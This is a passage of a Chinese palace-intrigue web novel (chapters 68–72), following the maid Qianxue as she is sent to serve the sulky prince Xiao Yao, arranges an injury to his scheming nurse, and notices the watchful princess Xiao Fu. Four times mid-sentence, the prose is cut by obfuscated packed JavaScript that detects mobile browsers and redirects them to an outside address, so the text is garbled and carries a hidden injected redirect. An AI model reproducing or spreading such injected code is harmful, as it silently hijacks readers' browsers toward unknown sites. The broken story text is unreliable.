候在外间的小橘立刻低头小步上前，后面跟着端托盘的宫女。几碟热腾腾冒着气的家常小菜和那碟还温着的桂花栗子糕被迅速摆上桌，清炒时蔬鲜亮碧绿，蒸鱼白白嫩嫩，几盅嫩黄水润的蛋羹，还有那碟散发甜香的栗子糕。 萧曜在原地梗了半晌，终究不敢违抗，他拖着步子，满脸的不情愿，慢吞吞挪到饭桌旁矮椅上坐下。他坐得别扭，低着头，连眼角余光也不肯扫向主位旁的吴玉瑶 殿里一片安静，只听见轻微的碗筷声。萧琰吃了几口菜，目光落在闷头生气的儿子身上，片刻后问道：“太傅前日来报，说你近来的字，有些长进了？写的大字怎么样？” 萧曜猛的抬起头黑眼珠子亮得惊人！ “父皇！”他声音都拔高了，一下子就从椅子上滑下来，忘了刚才的别扭劲儿，“儿臣今天刚写了好多大字！是……是特别用心写的！就搁在隔壁书斋，墨迹还没干透呢！父皇……”他眼巴巴看着萧琰，“您要不要现在就过去看看？”萧曜缠着萧琰好像那字写的有多好似的。 千雪站在吴玉瑶身后，把萧曜这突然转变的情绪和小动作看得清清楚楚。瞧见他眼里那明晃晃的，要把皇帝从他吴玉瑶身边拉走的算计和得意，千雪心里又好气又好笑：这小崽子，心思全用在这上头了！就是不想让你父皇和我们娘娘多待。 萧琰的目光在儿子那张写满小心思的脸上停顿了一下。眼神深处似乎极快地掠过一丝了然，还有一点属于父亲的，不易察觉的无奈和纵容，他放下筷子，站起身：“哦？这么想朕去看？” “是！是！”萧曜生怕他反悔，连声应着，已迫不及待转身，迈开步子就往门口书斋方向引路。 萧琰跟着往外走，刚走过暖阁门口，快到主位后面一点的吴玉瑶跟前时，一直埋头带路的萧曜，毫无征兆地，猛地回了一下头。 他动作快得像阵风，小脸瞬间变换表情朝着几步外的吴玉瑶，用力地做了个鬼脸：舌头飞快一吐又缩回，眼睛挤着，鼻子皱成一团，满脸都是毫不掩饰的得意和挑衅！ 那鬼脸只持续了一刹那，做完，萧曜像什么都没发生一样，立刻把头扭回去，加快脚步，小小的身影迅速消失在通往书斋的门帘后。 只剩下站在原地的吴玉瑶，脸色微微发白，袖中的手不自觉地攥紧了。 殿里恢复了安静。 饭菜的热气渐渐散了，只有那碟桂花栗子糕还在幽幽地冒着甜香。吴玉瑶僵立原地，目光怔怔地望着萧曜消失的门帘。脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201842|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有明显的怒气，却罩着一层黯淡的失神。 “娘娘？”千雪上前一步，站在吴玉瑶侧后方。 吴玉瑶睫毛颤了颤，慢慢转过视线看向千雪。她眼神里有忧虑，有不甘，更有一种深深的无力感。 “千雪，”吴玉瑶开口，声音有点发涩，带着一丝急切，“……你说，你去曜儿身边当差，怎么样？” 千雪懂吴玉瑶的意思萧曜今天的表现，那份毫不掩饰的敌意和任性，肯定是身边有人在教唆。长此以往，孩子就毁了，但她更清楚吴玉瑶现在的状态她是急糊涂了。 “娘娘，”千雪放柔声音，语气却很稳，“您别急。咱们才刚进宫，脚跟还没站稳。您看，桩桩件件的麻烦事都摆在眼前，如月和金嬷嬷还病着，宫里能用的，可信赖的人手本来就少，还有张嬷嬷那件事，眼下也还没工夫料理干净。” 她见吴玉瑶眼中的焦虑并未消失，接着说出了自己的顾虑：“您让我去盯着大殿下，我当然愿意去。他身边是缺个可靠的人。可奴婢现在走不开，庆祥宫这边，我放不下心。您身边要是没有得力的人帮衬着，事事都为难，更容易被那些小人钻了空子。” 她的话让吴玉瑶发热的头脑稍稍冷静下来。吴玉瑶深深吸了口气，眼中情绪复杂。 “……你说得对。”吴玉瑶的声音低了些，带着疲惫，但多了几分理智，“是我想得欠妥了，如月，等她身子好些了，能回庆祥宫当差了，就让她来我身边贴身伺候。她办事稳重，我看是信得过的。” 她抬起头，目光重新定在千雪身上：“那时，你再调到曜儿那边去，可好？南三宫离庆祥宫也不算太远，有事也方便通气。” “是，奴婢遵命。” 69.第六十九章 千雪新任务 日子在焦灼与忙碌中滑过，庆祥宫里终于添了些安稳的气息如月病愈回来了。 她脸上尚带着大病初愈后的一点苍白，但眼神却恢复了一贯的沉稳，有了如月这根主心骨坐镇内室，千雪心头悬着的重量总算卸去了一部分。 几乎就在如月回归的同时，圆珠那边也传来了紧盯桃雨的消息，结果却让众人愕然。 “千雪姐姐，我这些天，眼睛一刻都没敢离开她。她除了老老实实在咱们宫里当差，哪处都没去……只有一次，去了南三宫大殿下那边，说是大殿下之前要的，娘娘赏的几件玩意儿做好了，她给送去。”圆珠顿了顿，补充道，“就送了趟东西，也是低着头来去匆匆。” 这结果和预想中的大相径庭。 千雪，如月，小橘聚在内室一角，窗外树影婆娑，映在她们脸上，添了几分凝重。 “这么说，桃雨这条线还没浮上来，让人盯紧了，倒是张嬷嬷，淑妃没有亲生儿子，一直觊觎大皇子，想让我同曜儿离心，她好借机将曜儿要过去养在名下……这张嬷嬷是曜儿乳母，日夜在他耳边吹风，时间久了，曜儿自然跟我们离心，这算盘打得精。” 这是她们原先认定的方向，可如今，桃雨这条线竟断了？若桃雨不是淑妃的人，那她是谁的人？ “桃雨也有可能是通过张嬷嬷接触的淑妃，这些我们还都不确定，继续盯着便是。” 千雪拧着眉，另一个更深的疑惑在她心底：“主子，奴婢更想不明白的是另一桩事。之前费尽心思，算计如月和金嬷嬷得病离开庆祥宫，为的竟是在陛下那日来时，让小厨房恰巧备下那碗雪梨杏仁粥……” 她抬眼看着吴玉瑶和如月，“那粥我和小橘反复查验过，没有下毒，用料也是最上乘的，陛下……也确实爱喝这一口甜羹。可这算什么忌讳？竟值得这样大费周章？一碗好喝的甜粥，难道还能是什么要命的禁忌不成？” 这话问出了在场所有人的心声，一碗粥，到底犯了什么忌讳？谁在忌讳？ 这个谜底，似乎更加凶险难测。 吴玉瑶蹙着眉，她的目光最终落在了大病初愈，脸色尚带一丝苍白的如月身上。 “如月，那雪梨杏仁粥……”她斟酌着开口，“这庆祥宫里，可还有人提起过陛下从前的口味？或是……娘娘之前，可曾吩咐过小厨房做这个？” 如月立刻垂首，这问题之前千雪问过她：“回娘娘，奴婢是三年前才被拨到庆祥宫当差的。在奴婢侍奉期间，从未听娘娘提过要做这道甜粥，也更未见做过。宫里的旧例册子奴婢也翻看过，并无陛下曾在此处点此粥的记录。”她抬眸，眼中带着同样的困惑，“至于陛下是否从前爱喝，在何处爱喝……更是无迹可寻。奴婢知晓的，便是陛下从不在庆祥宫用膳，贵妃娘娘也不层送过吃食去文政阁。” 如月说完后又加了一句，“想来是有忌讳，但贵妃娘娘并未和我提过，我也无从得知。” 这结果并不让人意外，吴玉瑶的眼神沉了沉，那碗粥所带来的迷雾，似乎更加浓稠了。 “此事蹊跷得很，却又像是悬在头顶的一把看不见的刀子，光是张嬷嬷挑拨，不过是眼前的不睦。可这粥……背后似乎藏着旧事，弄不清它，怕是将来还有更大的隐患。”她顿了一下，目光定定地看向如月，“你既然回来了，身体也能支撑，替我悄悄去办一件事。” 如月立刻打起精神：“娘娘请吩咐。” 吴玉瑶身体微微前倾，声音低得像耳语：“庆祥宫的旧人……这些年散的散、老的老，但未必都离了宫。你想办法，私下里悄悄地去寻访，打听。不拘用什么法子，花点钱也好，托点人情也罢，务必谨慎，看能不能摸到些当年的线索，贵妃在时，关于那道雪梨杏仁粥，宫里到底发生了什么忌讳！总该有人，记得些零星！” “是！”如月立刻应下，“奴婢明白轻重，会小心行事，一点点仔细探访老宫人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208979|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看能否拼凑出些当年的影子，请娘娘放心。” 吴玉瑶点点头，“粥的事情先慢慢查着，总能查出来。眼下，千雪，你得动了。” 她目光转向千雪：“如月回来了，庆祥宫有她帮我盯着，内里暂时能稳住。那张嬷嬷还在曜儿身边，就像个毒瘤，必须尽早拔除。你先去南三宫那边，白天就在曜儿身边当差，晚上再回庆祥宫来，也好彼此通气。” “奴婢明白。”千雪立刻应道，“娘娘放心，奴婢今日就去，必会看顾好大殿下。” 事情一件件，如潮水般涌来，推着她们不得不前行。千雪当天下午便收拾了几件随身物品，踏出了庆祥宫，走向远处萧曜所在的南三宫。 日光斜照，在她身后拉出一道长长的，孤独的影子。 南三宫等着她的，绝不仅仅是个任性不服管的半大孩子，还有藏在孩子身后那双看不见的，阴冷的眼睛。 所谓南三宫，指的是皇城南面相邻的三处宫院，规制大小相仿。如今天子子嗣尚少，年岁也幼，这三处宫院并未住满。 统共只住了两位小主子庆祥宫前贵妃所出的大皇子萧曜，以及皇后所出的皇长女萧芙，约莫七八岁年纪。 千雪踏入萧曜所住的宫院时，正值午后，院子的一角，两个小小的身影正头挨着头，蹲在铺着青砖的地上，全神贯注地盯着什么。是萧曜和那位大公主萧芙，正凑在一起看地上的蚂蚁搬家。 千雪放轻了脚步，并未立刻打扰，萧曜却像是背后长了眼睛，头也没回，从鼻子里重重的哼了一声。显然，她那日挡着他告状，这小祖宗还记恨着呢。 她走到近前，对着萧曜和萧芙规规矩矩地行了个礼：“奴婢千雪，见过大殿下，见过大公主。” 萧芙抬起头，眨着大眼睛好奇地看着她，萧曜却猛地扭过身，脸上带着嫌弃和抗拒：“你怎么跑这儿来了？谁让你来的？我不要你待在我这儿！回去！回你的庆祥宫去！” 70.第七十章 解决张嬷嬷 站在一旁的大宫女巧兰连忙上前两步，脸上带着为难，想劝又不知如何开口。就在这时，正殿旁边的厢房门帘子一掀，露出半张脸，正是萧曜的乳母张嬷嬷。她眼神里带着幸灾乐祸和看热闹的兴味，饶有兴致地瞧着院中这一幕，显然很乐见千雪吃瘪。 千雪对萧曜的炸毛置若罔闻，连眉毛都没动一下，只平静地重复道：“回殿下，奴婢奉娘娘之命，今日起前来伺候殿下，日后殿下的饮食起居，学课功课，奴婢都会尽心。” 萧曜气得小脸通红，指着千雪：“你……你……” 千雪不再理会他，目光平静地转向一旁看好戏的张嬷嬷，脸上甚至还露出一丝客气的笑：“张嬷嬷安好，今日初来乍到，日后还请嬷嬷多指点。刚巧，娘娘念及嬷嬷照看殿下辛苦，嘱咐晚膳由金嬷嬷亲自备了几个菜，一会儿让圆珠送来南三宫，算是奴婢替娘娘向嬷嬷道个辛苦，也给奴婢一个向嬷嬷请教的机会，嬷嬷可千万赏光。” 一番话说得滴水不漏，既点出了庆祥宫娘娘的心意，又给足了张嬷嬷面子。张嬷嬷脸上的讥诮瞬间收敛了不少，眼底飞快闪过一丝得色，矜持的扯了扯嘴角：“既是娘娘恩典，老奴岂敢推辞。” 晚膳时分，菜肴果然由圆珠提着食盒送来，在张嬷嬷屋里摆开。一桌菜算不上珍馐，但十分实在，是金嬷嬷精心准备的，色香味俱全。 圆珠送完菜，看了千雪一眼，见她微微点头，这才低头退下。 席间，千雪姿态放得极低，她陪着笑，不停地给张嬷嬷夹菜，口中尽是奉承：“……娘娘常说，殿下打小就是嬷嬷一手带大的，事事离不得嬷嬷提点，这情分最深……奴婢年轻，初来乍到，往后殿下的事，还得靠嬷嬷费心把总……” 巧兰在一旁打配合，见张嬷嬷说得兴起，杯中酒稍浅，便适时地给她满上：“嬷嬷，千雪妹妹说得对，您多吃些，这可是娘娘和千雪姐姐的心意呢……您看这酒，也是好陈酿，温得正好，再敬您一杯……” 张嬷嬷听着奉承话，看着眼前这个吴美人心腹对自己如此低姿态，心里那份长久被萧曜仰仗的骄傲和被人敬畏的感觉被无限放大，熏得她飘飘然，脸上红光满面。几杯酒下肚，更是醺醺然，话语也大了起来：“……那是自然！殿下最是听我的话……吴美人？哼，她又没生养过哪里懂得怎么当人家母亲……” 眼看着张嬷嬷说话舌头都大了，眼神迷离，千雪和巧兰交换了一个眼神。 最终，张嬷嬷被两人合力搀扶回她的卧房时，已是步履蹒跚，东倒西歪，嘴里还嘟囔着什么，几乎是半闭着眼被塞进了被褥里，一沾枕头就鼾声大作。 夜深人静，南三宫值夜的太监也已提着灯笼巡过了一轮。千雪就宿在张嬷嬷隔壁的值夜小房里，并未躺下，只是靠在门边假寐，巧兰则在离正屋不远的地方安静守着。 估摸着快到后半夜，隔壁果然传来窸窸窣窣的动静，显然是醉得发渴或是被尿憋醒。接着是略带踉跄的脚步声朝门边挪动。 千雪站起身，隐在门后，透过门缝注视着。昏暗的廊下，张嬷嬷揉着胀痛的脑袋，脚步虚浮地推开了自己的房门，一脚深一脚浅地摸黑往外走，打算去院角的茅厕。 就在她走到院子当中，摇摇晃晃经过一片铺了少量落叶稍显不平的地面时，一枚不知从何处飞来的，鸡蛋大小的圆润石子，带着力道，嗖的击在她支撑身体的那只脚的小腿肚子上！ “啊——！”突然传来的痛让张嬷嬷失声惨叫，身体瞬间失去了平衡，重重向前扑倒！由于毫无防备且冲势太猛，她那张老脸结结实实磕在坚硬的砖石地上！ “嬷嬷！”早已等候在附近的巧兰，立刻惊慌失措冲了出来，声音里满是焦急，“嬷嬷！您怎么了？” 巧兰快步跑近，弯腰去搀扶趴在地上哀嚎的张嬷嬷：“嬷嬷！摔着哪儿了？您快起来！”她手忙脚乱，用了力气去架张嬷嬷的胳膊，看架势是想把她拉起来。张嬷嬷痛得头晕眼花，鼻血糊了满脸，一张嘴就觉着门牙处钻心的疼，还有碎屑的感觉，说话都漏风：“唔……疼死了……扶，扶稳……哎哟……” “哎，嬷嬷您别急！”巧兰嘴上应着，可手上的力气却似使了个巧劲。就在她刚刚将张嬷嬷的上半身艰难地拉离地面一点点时，她脚下不知怎么踩到了张嬷嬷袍子的一角，同时哎呀一声惊呼：“嬷嬷小心！”整个人身体猛地往后一失力！ 那刚被拉起来一点，浑身疼得发颤根本没站稳的张嬷嬷，只觉得身下支撑猛地一撤，一股力量再次把她往地上狠狠掼去！ “噗——！”这一次是沉重的臀部着地，连带拉扯着那条本就痛的腿，疼得她白眼一翻，连惨叫都发不出来了，只觉得浑身骨头都要散了架，眼前金星乱冒。 “嬷嬷！嬷嬷！”巧兰的声音听起来快哭了，再次奋力要去搀扶。可此时，张嬷嬷疼得几乎瘫软，浑身骨头像错了位。巧兰那纤细的身板哪里拉得动这个分量？拉扯间又不小心带了一下张嬷嬷那条伤腿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208980|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唔……唔……”张嬷嬷年纪不小了没挣扎两下，便在两番打击和剧痛下，彻底晕了过去，直挺挺躺在院子里。 阴影之中，墙根之下，赫然有一双明亮清澈的眼睛，正一眨不眨地看着院中发生的一切！那眼睛里没有惊恐，只有全神贯注的好奇，像只观察猎物的小猫。 千雪似有所感，眼睛以极其微小的幅度向院墙角落那片阴影偏了一下。 正是那位本该在早已歇息寝宫的大公主，萧芙！ 她小小的身体几乎完全融在墙角的暗影里，若非千雪警觉过人，绝难发现。 萧芙显然没料到千雪会突然看过来，那双亮晶晶的眼睛瞬间闪过一丝被抓包的愕然，像受惊的林中小鹿，但并不慌乱。 她非但没有立刻缩回头，反而在夜色里，对着千雪用力点了一下头。 紧接着，一只小手从阴影里伸出，贴在了自己还带着婴儿肥的小脸蛋上，食指竖在嘴唇前，做了一个无声的噤声保密的动作！做完这个动作，她那张隐在暗影里的小脸甚至对千雪弯了弯嘴角。 然后，她那小小的身影才一扭，悄无声息地退入更深的黑暗，沿着墙根的迅速溜走，消失不见了。 这一番动静早就惊动了守夜的太监和小宫女。很快，南三宫里灯火通明，值守的太医也被匆匆提溜起来赶了过来。 太医提着药箱仔细检查时，张嬷嬷才悠悠转醒。灯烛下，她的脸肿成了猪头，嘴唇裂开豁了口子，门牙明显少了两个，鼻孔和嘴角都凝着黑红的血痂。左腿小腿处有明显肿起变形，按压时昏迷中的张嬷嬷都能痛得浑身抽搐。 太医诊视完毕，擦着手，对着脸色铁青的萧曜和一旁肃立的千雪，巧兰等人回禀：“……是摔得不轻。面颌受创，失了两枚牙齿。最要紧的是，左腿小腿骨……怕是不止一处断了，接骨需费时日，且这伤筋动骨一百天，没个三个月，怕是下不了床了，得好生将养着。” 他开了药方，又嘱咐了些养护的话，这才告退。 千雪站在灯影里，看着床上那张痛得扭曲、肿得变形的老脸，解决了一个麻烦，但又来一个。 萧芙，一个孩子，深夜隐藏，冷静窥探，被发现后非但不惧，反而传递出心照不宣的信息甚至主动承诺保密这反应，绝不是寻常孩童的懵懂好奇所能解释的。 这孩子，绝对不简单，至少，她对这南三宫里的风吹草动，有着令人心惊的感知能力，需得重新看待这位看似天真单纯的大公主了。 71.第七十一章 连珠棋 张嬷嬷被挪到宫外一处偏僻的小院静养去了。少了这个在耳边日夜挑唆的人，南三所的氛围似乎松快了些，但也只是表象。 千雪开始了在萧曜跟前寸步不离的日子。白日里，萧曜读书习字，玩耍走动，千雪都跟着。 起初几天，萧曜变着法儿刁难。练字时故意打翻墨汁，嚷着要千雪擦，故意把书扔得老远让她捡，吃饭时挑剔这挑剔那。千雪一概受着，既不愠怒也不辩解，他要墨，就重新磨，他要擦，就仔细擦。书扔了，便走过去捡起来，放回他手边。饭菜不合口，便记下，让小厨房下次改了便是。动作永远麻利，态度永远平静，仿佛他的刁难都打在棉花上。 如此几次，萧曜自己也觉得没趣，他那点孩子气的怨气也渐渐消散了，只剩下横竖看不顺眼的不耐烦。 千雪明白，只是顺着伺候，消弭不了隔阂。她开始留心萧曜的喜好，又回想起自己前世记忆里一些简单却有趣的小玩意儿。 一日午后，萧曜在院子的石墩上百无聊赖地发着呆。千雪走过去，将一块打磨过的，四四方方的薄木板放在旁边的石桌上，木板上纵横交错刻着清晰的细线，分出了许多小格子。她又拿出两个小巧的敞口竹罐，一个盛着打磨光滑的黑色鹅卵石子，另一个盛着同样圆润的白色鹅卵石子。 萧曜斜眼瞥见了，脸上没什么兴趣，又扭开头。 千雪也不说话，自己坐在石桌另一边，捻起一枚黑石子，嗒一声落在棋盘交叉线的一个点上。又捻起一枚白石子，嗒一声落在稍远几步的另一个点上。如此往复，黑白石子交替落在木盘的格子上，发出清脆规律的轻响。 萧曜虽然扭着脖子，耳朵却竖着，那嗒，嗒的声音不高，但在他耳边就是停不下来。过了一会儿，他终于忍不住，转过头来瞄了一眼。只见木盘上黑白石子已经各自占据了几个位置，黑白分明，煞是醒目。千雪正捻着一枚白石子，凝神看着盘面，似乎在思考。 “这……这是什么？”萧曜终于开口，语气硬邦邦的，但压不住那点好奇。 千雪没马上回答，又嗒地一声落下一子，才抬头看他：“回殿下，是个小玩意儿，叫连珠棋，你瞧，”她指着木盘，“一人执黑，一人执白。只消将自己的石子，横着，竖着，或斜着，连成五个一排，”她在盘边空处比划了一条横线，“就是谁赢了，法子简单，但想赢了对方，还得费些心思，殿下可想试试？三局两胜？” 萧曜看着那黑白分明的盘面，规则确实简单明了。他心里有点痒痒，但面子上过不去，哼了一声：“无聊！谁要玩你这乡下把戏！” “那奴婢自己解闷儿便是。”千雪也不强求，自顾自又捻起黑子落下。 萧曜嘴上嫌弃，眼睛却黏在棋盘上。他看见千雪落下几子后，盘面上不知不觉地，黑子似乎快要在左边斜着连成四个了！他下意识地脱口而出：“哼，放那儿它就成五个了！” 千雪像是没听见他的提醒，果然将黑子落在了他心中预想的位置。啪嗒！一连五个黑子连珠成串。 “哎呀！我说了吧！”萧曜居然有点恨铁不成钢的叫起来。 千雪抬头，眼中带了一点点笑意：“殿下慧眼，要不……殿下执白，奴婢执黑，咱们试试？” “试试就试试！”萧曜终于没忍住，一屁股坐到她对面的石凳上，把那罐白石子往自己跟前一扒拉，气势还挺足。 头两局，萧曜输得一败涂地，他下得莽撞，千雪稍加引诱便入了套，眼看对方连成了四子，自己怎么堵都慢一拍。第三局，他咬着牙，学着千雪的样子多看两眼再落子，有模有样地防守住要害位置，竟然真让他笨拙地连成了五个白子！ “哈哈！成了！五个！我赢了！”他猛的站起来，指着盘面上自己歪歪扭扭连起来的白子，小脸放光，得意极了，方才那点不情愿早就丢到了九霄云外。 “殿下厉害。”千雪坦然地认输。 “那是！”萧曜挺起胸脯，手指一挥，“再来！这局不许你让着我！”他觉得自己找到了诀窍，兴致勃勃地催促。 两人头碰着头，石子上落得飞快，嗒嗒声响个不停。有时为了一个位置，还能争上两句“放那儿你就没了！”“不放那儿我怎么连？”孩子的意气占了上风，气氛却前所未有的活络起来。 大公主萧芙常来找萧曜玩，她来时见两人围着棋盘战得投入，也不打扰，就安静地在旁边石凳上坐下看着。 千雪捻起一枚黑子，笑着转向安静旁观的萧芙：“公主可想也来一局？” 萧芙抬起白净乖巧的脸，睫毛轻眨，不好意思地抿嘴一笑：“谢姐姐，我……只在旁边看看就好。”声音柔柔糯糯的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216168|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 旁边的萧曜正为刚才千雪连成了五子憋着气，一听这话，立刻嚷道：“怕什么！二妹，上！帮我教训她！替我出气！” 萧芙看看气鼓鼓的萧曜，再看看温和的千雪，犹豫了一下，点点头：“那……我试试。下得不好，姐姐别笑话。”她起身坐到千雪对面，动作斯文轻巧。 萧曜立刻凑到姐姐身边挤着坐，俨然成了军师，指指点点：“二妹，放这儿！这儿堵她！”“哎！别放那儿啊，她会连上四个的！” 萧芙被他吵得有些无奈，轻轻推推他凑近的脑袋：“皇兄，安静点，让我自己想想。”萧曜这才哼哼唧唧老实了点儿，但眼睛还是死死盯着棋盘。 这盘棋下得比跟萧曜玩时慢多了，萧曜在旁边急得抓耳挠腮，觉得姐姐下得太保守。千雪却越下越惊讶。萧芙的棋风就像她的人，初看温吞，实则内秀，总能提前看到要害并适时卡住。 更让千雪注意的是，好几次萧芙的白子已经在某个方向隐隐连成了四个，就差中间或两头一子便能胜出。可她却偏偏在那一刻转向，把子落在了棋盘另一处补空，仿佛没看见那唾手可得的胜利。 眼看棋盘渐渐填满，萧芙捻起一枚白子，悬在半空好一会儿。她抬眼看看千雪，又看看身旁紧盯她的萧曜，轻轻叹了口气，把白子放回棋罐。 “我……看不出来了。”她揉了揉眼睛，声音带着点懵懂和疲惫，“看得眼睛都花了，姐姐下得真好，我认输啦。” 千雪看着她那温顺的笑容，目光扫过棋盘——角落那条斜线上，四个白子就差中间一格，明晃晃的空着呢！这认输，分明是主动放弃。 千雪笑着应道：“公主第一次下，便能有此般思路，已极有天分。多下几次，奴婢怕就不是对手了。” “哎！不算不算！”萧曜这才从萧芙认输中回过神，拍着石桌，“二妹你那明明差一个就五连了！怎么认输？不行！重来！我帮你走！” 萧芙却已站起身，轻轻推着弟弟胳膊：“好啦阿虎，千雪姐姐还要陪你，我得回去了。”她转向千雪，依旧笑得柔和：“多谢姐姐指教。” 看着萧芙小小的身影在宫女陪同下离开，千雪心中那份疑虑更深了。这孩子，不简单，过于早慧了。 萧曜还在对着棋盘嘟囔，一会儿怪萧芙笨，一会儿怨千雪不让着点。 72.第七十二章 她不是皇后 千雪在南三宫和萧曜渐渐混熟，庆祥宫里，如月也遵照吴玉瑶的吩咐，悄悄打探着三年前的旧事，几天下来，消息让人心头发沉。 “娘娘，”如月关紧门窗，“奴婢托了几个还算熟识的老管事悄悄问过，三年前……尤其是贵妃娘娘病重那前后，在庆祥宫里贴身伺候的得力人手，几乎全都没了踪影。”她眉头皱紧，“还能喘气的，要么死得不明不白，要么就被打发到了浣衣局那些累死人的地方。问起当年的事，一个个都跟锯了嘴的葫芦，半个字不肯吐，更说不知道当年到底发生了什么。” 吴玉瑶声音有点干涩：“什么都问不出来，三年前也是玉华姐姐开始缠绵病榻的时候，连带着整个庆祥宫的旧人像被狂风扫过，消失得干干净净，这绝不寻常。” 转眼到了该去凤仪宫拜见皇后的日子。 吴玉瑶穿戴整齐，带着千雪和如月，准时踏进凤仪宫正殿。 殿内宽敞明亮，檀香悠悠。 宋皇后端坐在上首的凤座上，穿一身暗红绣金的常服，脸上带着温和的笑。她看着年纪不到三十，容貌清丽，气质沉静端庄，像一块温润的玉。 “坐吧，今儿人来得齐。”皇后声音不高，听着很和煦。 吴玉瑶谢恩坐下，抬眼看去，左边下首第一位是淑妃。她果然生得明媚动人，丹凤眼，柳叶眉，穿一身海棠红的宫装。她脸上也带着笑，但那笑有点浮在面上，千雪留意到她坐下时，眼神飞快地在吴玉瑶身上溜了一圈。 紧挨着淑妃的是贤妃，她穿着靛蓝色的素雅宫装，坐姿端正，面容平和，几乎没什么表情，像庙里供着的泥菩萨，沉稳到有些刻板。 余下几位品级低些的嫔妃分坐在两边，莺莺燕燕，各有颜色。 “今儿天气倒好，风都柔了。”皇后闲闲的起个头，端起茶盏喝了一口。 “可不是嘛，”淑妃笑着接口，声音像黄鹂，却有点脆生生的尖，“早起看着御花园几朵花开得正盛，赶明儿等太阳再暖些，娘娘得空，咱们一起去瞧瞧？”她说着，目光似有似无地扫过吴玉瑶。 皇后轻轻嗯了一声，放下茶盏，转脸看向贤妃：“贤妃，这几日内务府禀报，上个月各宫用度可有节余？” 贤妃这才抬了抬眼，声音四平八稳：“回娘娘，妾身已核查清楚，除添置夏季份例布匹多支了三百两银，其余皆按例开支，尚余一千二百两之数，已充入下月备用。”说完又垂下眼，继续扮演她的木头人。 皇后脸上笑容不变：“你办事，本宫是放心的。” 殿内气氛和缓，茶香氤氲，嫔妃们喝着茶，偶尔说两句不痛不痒的闲话，看起来风平浪静，真像是姐妹闲聚。 说了半盏茶的功夫，皇后像是刚想起，目光温和地落到吴玉瑶身上：“吴美人入宫也有些日子了，起居上可有哪里不惯？若有不舒服的，切莫忍着，太医都是现成的。” 吴玉瑶微微欠身，语气恭敬：“谢皇后娘娘关怀。臣妾一切都好，劳娘娘挂心了，宫中也并无短缺之处。” 皇后点了点头：“那就好，陛下看重你，你这身子骨也得自己在意，大皇子那边……想必也费心？” 提到萧曜，吴玉瑶心中一紧，面上维持着平静：“曜儿……殿下很好，劳娘娘垂问。” 皇后笑了笑，没再说什么，殿内一时又安静下来。 淑妃拿起帕子，掩着嘴轻咳一声，眼风扫过吴玉瑶，状似无意的拨了拨茶盖，发出清脆的一声响。 皇后像是被提醒了时间，便转了转手腕上水头极好的玉镯，温声道：“都坐了好一阵了，本宫也有些乏了。你们也都散了吧，各自回去歇息。”那笑容依旧端庄得体，看不出任何情绪。 “臣妾告退。”众妃起身行礼，鱼贯退出凤仪宫，阳光洒在宫道上，照得晃眼。 千雪落后半步，紧跟着吴玉瑶想，她瞥见淑妃在走过她们身侧时，脚步微不可察地停顿了一下，用那对漂亮的凤眼上下扫了扫吴玉瑶，嘴角勾了勾，没说话，扭着腰径直走了。贤妃则目不斜视，带着自己的宫女，稳稳当当从另一条宫道离开。 走回庆祥宫的路上，吴玉瑶一直没说话。刚才殿内的平和像一张薄纸，一戳就破。 千雪跟着吴玉瑶回到庆祥宫，屏退了旁人，殿里只剩下吴玉瑶和如月和千雪。 本想继续说之前宫里旧人的事，这时小宫女的声音在殿外响起：“禀娘娘，大公主来了，说是找千雪姑娘。” 吴玉瑶眼底掠过一丝意外：“让她进来。” 帘子掀开，萧芙穿着鹅黄色的宫装，脚步轻快的走进来。那张小脸带着笑，见到吴玉瑶立刻站定，规规矩矩行了个福礼：“阿芙见过娘娘。” 这礼行得一丝不苟，稳稳当当，和萧曜的毛躁完全不同。 吴玉瑶语气柔和了些：“公主坐吧，今天怎么到我这儿来了？”她示意宫女端上点心和蜜水。 萧芙依言坐下，小腰板挺得笔直：“谢娘娘。”她没动点心，抬头看向吴玉瑶身后的千雪，“刚才去南三宫找皇兄，宫人说父皇召他去文政阁了。我就想着一个人待着无趣，来找千雪姐姐玩。”她顿了一下，“不知会不会扰了娘娘清静？” 